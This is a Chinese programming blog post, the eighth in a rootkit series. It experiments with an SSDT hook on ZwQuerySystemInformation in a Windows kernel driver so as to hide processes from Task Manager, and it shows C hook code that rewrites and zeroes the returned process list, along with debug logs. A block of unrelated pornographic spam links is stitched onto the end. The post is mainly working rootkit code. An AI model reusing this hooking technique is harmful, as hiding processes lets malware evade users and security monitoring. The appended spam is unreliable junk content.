• <ins id="pjuwb"></ins>
    <blockquote id="pjuwb"><pre id="pjuwb"></pre></blockquote>
    <noscript id="pjuwb"></noscript>
          <sup id="pjuwb"><pre id="pjuwb"></pre></sup>
            <dd id="pjuwb"></dd>
            <abbr id="pjuwb"></abbr>

            S.l.e!ep.¢%

            像打了激速一樣,以四倍的速度運轉,開心的工作
            簡單、開放、平等的公司文化;尊重個性、自由與個人價值;
            posts - 1098, comments - 335, trackbacks - 0, articles - 1
              C++博客 :: 首頁 :: 新隨筆 :: 聯系 :: 聚合  :: 管理

            HOOK SSDT Hide Process (八)

            Posted on 2009-10-28 14:38 S.l.e!ep.¢% 閱讀(336) 評論(0)  編輯 收藏 引用 所屬分類: RootKit
            HOOK SSDT Hide Process (七)

            HOOK SSDT Hide Process (七)? 的代碼雖然隱藏了進程,但會導致在 taskmgr.exe 全部進程看不到
            而且運行一段時間后, taskmgr.exe 就會非法關閉

            Q:
            今天突然發現,如果 taskmgr.exe 中選中了 'Show processes from all users' 選項,還是可以看到其它進程的(taskmgr.exe成功隱藏),但為什么不選中就所以進程看不到?這么鬼異的問題估計要OD下 taskmgr.exe 才知道

            為了一查究竟,我把 MyZwQuerySystemInformation 修改成如下的代碼
            NTSTATUS?MyZwQuerySystemInformation(IN?ULONG?SystemInformationClass,?
            ????????????????????????IN?PVOID?SystemInformation,?
            ????????????????????IN?ULONG?SystemInformationLength,?
            ????????????????????OUT?PULONG?ReturnLength)?
            //定義自己的Hook函數
            {?
            ????
            ????NTSTATUS?rc;?
            ????UNICODE_STRING?process_name;
            ????
            ????RtlInitUnicodeString(
            &process_name,?L"taskmgr.exe");
            ????
            ????rc?
            =?(OldZwQuerySystemInformation)?(?
            ????????SystemInformationClass,?
            ????????SystemInformation,?
            ????????SystemInformationLength,?
            ????????ReturnLength);?
            ????
            ????
            if(NT_SUCCESS(rc))?
            ????{
            ????????
            ????????
            if(5?==?SystemInformationClass)
            ????????{?
            ????????????
            ????????????
            struct?_SYSTEM_PROCESSES?*curr?=?(struct?_SYSTEM_PROCESSES?*)SystemInformation;?
            ????????????
            struct?_SYSTEM_PROCESSES?*prev?=?NULL;?
            ????????????
            ????????????
            //if(curr->NextEntryDelta)
            ????????????
            //????curr?=?(_SYSTEM_PROCESSES?*)((ULONG)curr?+?curr->NextEntryDelta);?
            ????????????
            ????????????
            while(curr)
            ????????????{
            ????????????????????????????????KdPrint((
            "ProcessName:%wZ?NextEntryDelta:%d?\n",?&curr->ProcessName,?curr->NextEntryDelta));
            ????????
            ????????????????
            if(curr->NextEntryDelta)
            ????????????????????curr?
            =?(_SYSTEM_PROCESSES?*)((ULONG)curr?+?curr->NextEntryDelta);
            ????????????????
            else
            ????????????????????curr?
            =?NULL;
            ????????????????????
            ????????????????
            ????????????}
            //?while(curr)?
            ????????????????????????
            ????????????????????????????????UnHook();????????????

            ????????}
            //?if(5?==?SystemInformationClass)
            ????????
            ????}
            //?if(NT_SUCCESS(rc))
            ????


            ????
            //?KdPrint(("HookZwQuerySystemInformation?is?Succeessfully.?\n"));
            ????return?rc;
            }

            在 DebugView 中顯示的內容如下:
            Entry?Hook?Function!
            Entry?Hook()
            KeServiceDescriptorTable
            ->ServiceTableBase?is?:0x804e2d20
            OldZwQuerySystemInformation?
            is?:0x8057cc27
            MyZwQuerySystemInformation?
            is?:0xf8f0c080
            Leave?DriverEntry
            !
            ProcessName:(
            null)?NextEntryDelta:248?
            ProcessName:System?NextEntryDelta:
            3528?
            ProcessName:smss.exe?NextEntryDelta:
            400?
            ProcessName:csrss.exe?NextEntryDelta:
            912?
            ProcessName:winlogon.exe?NextEntryDelta:
            1304?
            ProcessName:services.exe?NextEntryDelta:
            1176?
            ProcessName:lsass.exe?NextEntryDelta:
            1360?
            ProcessName:vmacthlp.exe?NextEntryDelta:
            280?
            ProcessName:svchost.exe?NextEntryDelta:
            1360?
            ProcessName:svchost.exe?NextEntryDelta:
            656?
            ProcessName:svchost.exe?NextEntryDelta:
            3664?
            ProcessName:svchost.exe?NextEntryDelta:
            464?
            ProcessName:svchost.exe?NextEntryDelta:
            1104?
            ProcessName:explorer.exe?NextEntryDelta:
            920?
            ProcessName:spoolsv.exe?NextEntryDelta:
            848?
            ProcessName:VMwareService.exe?NextEntryDelta:
            416?
            ProcessName:VMwareTray.exe?NextEntryDelta:
            280?
            ProcessName:VMwareUser.exe?NextEntryDelta:
            536?
            ProcessName:ctfmon.exe?NextEntryDelta:
            272?
            ProcessName:wscntfy.exe?NextEntryDelta:
            272?
            ProcessName:alg.exe?NextEntryDelta:
            584?
            ProcessName:cmd.exe?NextEntryDelta:
            264?
            ProcessName:conime.exe?NextEntryDelta:
            272?
            ProcessName:DriverMonitor.exe?NextEntryDelta:
            608?
            ProcessName:notepad.exe?NextEntryDelta:
            272?
            ProcessName:taskmgr.exe?NextEntryDelta:
            400?
            ProcessName:Dbgview.exe?NextEntryDelta:
            0?
            Unhook?leave
            !

            接著再做一個嘗試,如果直接把第二個線程的信息的 NextEntryDelta 改為0 , 是不是 taskmgr.exe 就會只顯示一條線程?
            NTSTATUS?MyZwQuerySystemInformation(IN?ULONG?SystemInformationClass,?
            ????????????????????????IN?PVOID?SystemInformation,?
            ????????????????????IN?ULONG?SystemInformationLength,?
            ????????????????????OUT?PULONG?ReturnLength)?
            //定義自己的Hook函數
            {?
            ????
            ????NTSTATUS?rc;?
            ????UNICODE_STRING?process_name;
            ????
            ????RtlInitUnicodeString(
            &process_name,?L"taskmgr.exe");
            ????
            ????rc?
            =?(OldZwQuerySystemInformation)?(?
            ????????SystemInformationClass,?
            ????????SystemInformation,?
            ????????SystemInformationLength,?
            ????????ReturnLength);?
            ????
            ????
            if(NT_SUCCESS(rc))?
            ????{
            ????????
            ????????
            if(5?==?SystemInformationClass)
            ????????{?
            ????????????
            ????????????
            struct?_SYSTEM_PROCESSES?*curr?=?(struct?_SYSTEM_PROCESSES?*)SystemInformation;?
            ????????????
            struct?_SYSTEM_PROCESSES?*prev?=?NULL;?
            ????????????
            ????????????
            if(curr->NextEntryDelta)
            ????????????????????????{
            ??????????????????????????curr->NextEntryDelta?=?0;
            ????????????}
            ????????????????????????
            ????????????????????????
            //????curr?=?(_SYSTEM_PROCESSES?*)((ULONG)curr?+?curr->NextEntryDelta);?
            ????????????
            ????????????????????????
            /*
            ????????????while(curr)
            ????????????{
            ????????????????????????????????KdPrint(("ProcessName:%wZ?NextEntryDelta:%d?\n",?&curr->ProcessName,?curr->NextEntryDelta));
            ????????
            ????????????????if(curr->NextEntryDelta)
            ????????????????????curr?=?(_SYSTEM_PROCESSES?*)((ULONG)curr?+?curr->NextEntryDelta);
            ????????????????else
            ????????????????????curr?=?NULL;
            ????????????????????
            ????????????????
            ????????????}//?while(curr)?
            ????????????????
            */????????
            ?????????????????
            //???????????????UnHook();????????????

            ????????}
            //?if(5?==?SystemInformationClass)
            ????????
            ????}
            //?if(NT_SUCCESS(rc))
            ????


            ????
            //?KdPrint(("HookZwQuerySystemInformation?is?Succeessfully.?\n"));
            ????return?rc;
            }


            情況還是?taskmgr.exe 中選中了 'Show processes from all users' 選項,就會顯示一條 System Idle Process 線程,如果不選中
            'Show processes from all users' 這個選項,那么 Taskmgr.exe 的列表就會顯示為空

            curr->NextEntryDelta?=?0; 那為何不把 curr 之后的數全部置為 0x00 ?
            于是,加多幾句代碼

            ??????????????if(curr->NextEntryDelta)
            ????????????{
            ??????????????????????????KdPrint((
            "SystemInformationLength:%d?\n",?SystemInformationLength));
            ??????????????????????????curr->NextEntryDelta?=?0;
            ??????????????????????????memset((
            void*)((ULONG)curr?+?curr->NextEntryDelta),?0x00,?SystemInformationLength?-?curr->NextEntryDelta);
            ????????????}

            此時,無論有無選中 'Show Process From all users'選項,所有進程都不顯示在 taskmgr.exe 了
            另外還發現兩個現象
            Q1. taskmgr.exe 調用 ZwQuerySystemInformation 時,ReturnLength?指針總是傳 NULL
            Q2. taskmgr.exe 調用 ZwQuerySystemInformation 時,SystemInformationLength 總是傳 0x6000
            難道 taskmgr.exe 并不是通過 NextEntryData 這個值來定位到下個進程的信息的?

            ?

            精品久久久无码21p发布| 精品久久人人爽天天玩人人妻| 久久人人爽人人人人爽AV| 久久无码AV一区二区三区| 久久棈精品久久久久久噜噜| 美女写真久久影院| 国内精品久久久久影院老司 | 国产69精品久久久久9999APGF | 久久久国产精品| 亚洲AV无一区二区三区久久 | 一本久久综合亚洲鲁鲁五月天亚洲欧美一区二区 | 欧美一区二区三区久久综| 精品久久久久中文字幕一区| 久久精品国产精品亚洲毛片 | 亚洲Av无码国产情品久久| 99久久国语露脸精品国产| 久久99精品国产麻豆宅宅| 久久国产影院| 久久精品国产亚洲AV香蕉| 久久经典免费视频| 久久人人爽人人爽人人片AV麻豆| 国产亚洲精久久久久久无码| 久久免费看黄a级毛片| 久久精品中文字幕大胸| 久久久久国产一级毛片高清板| 午夜不卡888久久| 亚洲国产精品一区二区久久| 久久综合欧美成人| 日本精品久久久久中文字幕8| 久久99国产精品尤物| 国产午夜免费高清久久影院 | 色8激情欧美成人久久综合电| 99久久婷婷国产一区二区| 久久国产精品久久久| 免费观看成人久久网免费观看| 国产精品久久久久久福利漫画| 精品午夜久久福利大片| 久久亚洲精品中文字幕三区| 久久国产免费| 婷婷久久综合九色综合九七| 久久亚洲精品无码VA大香大香|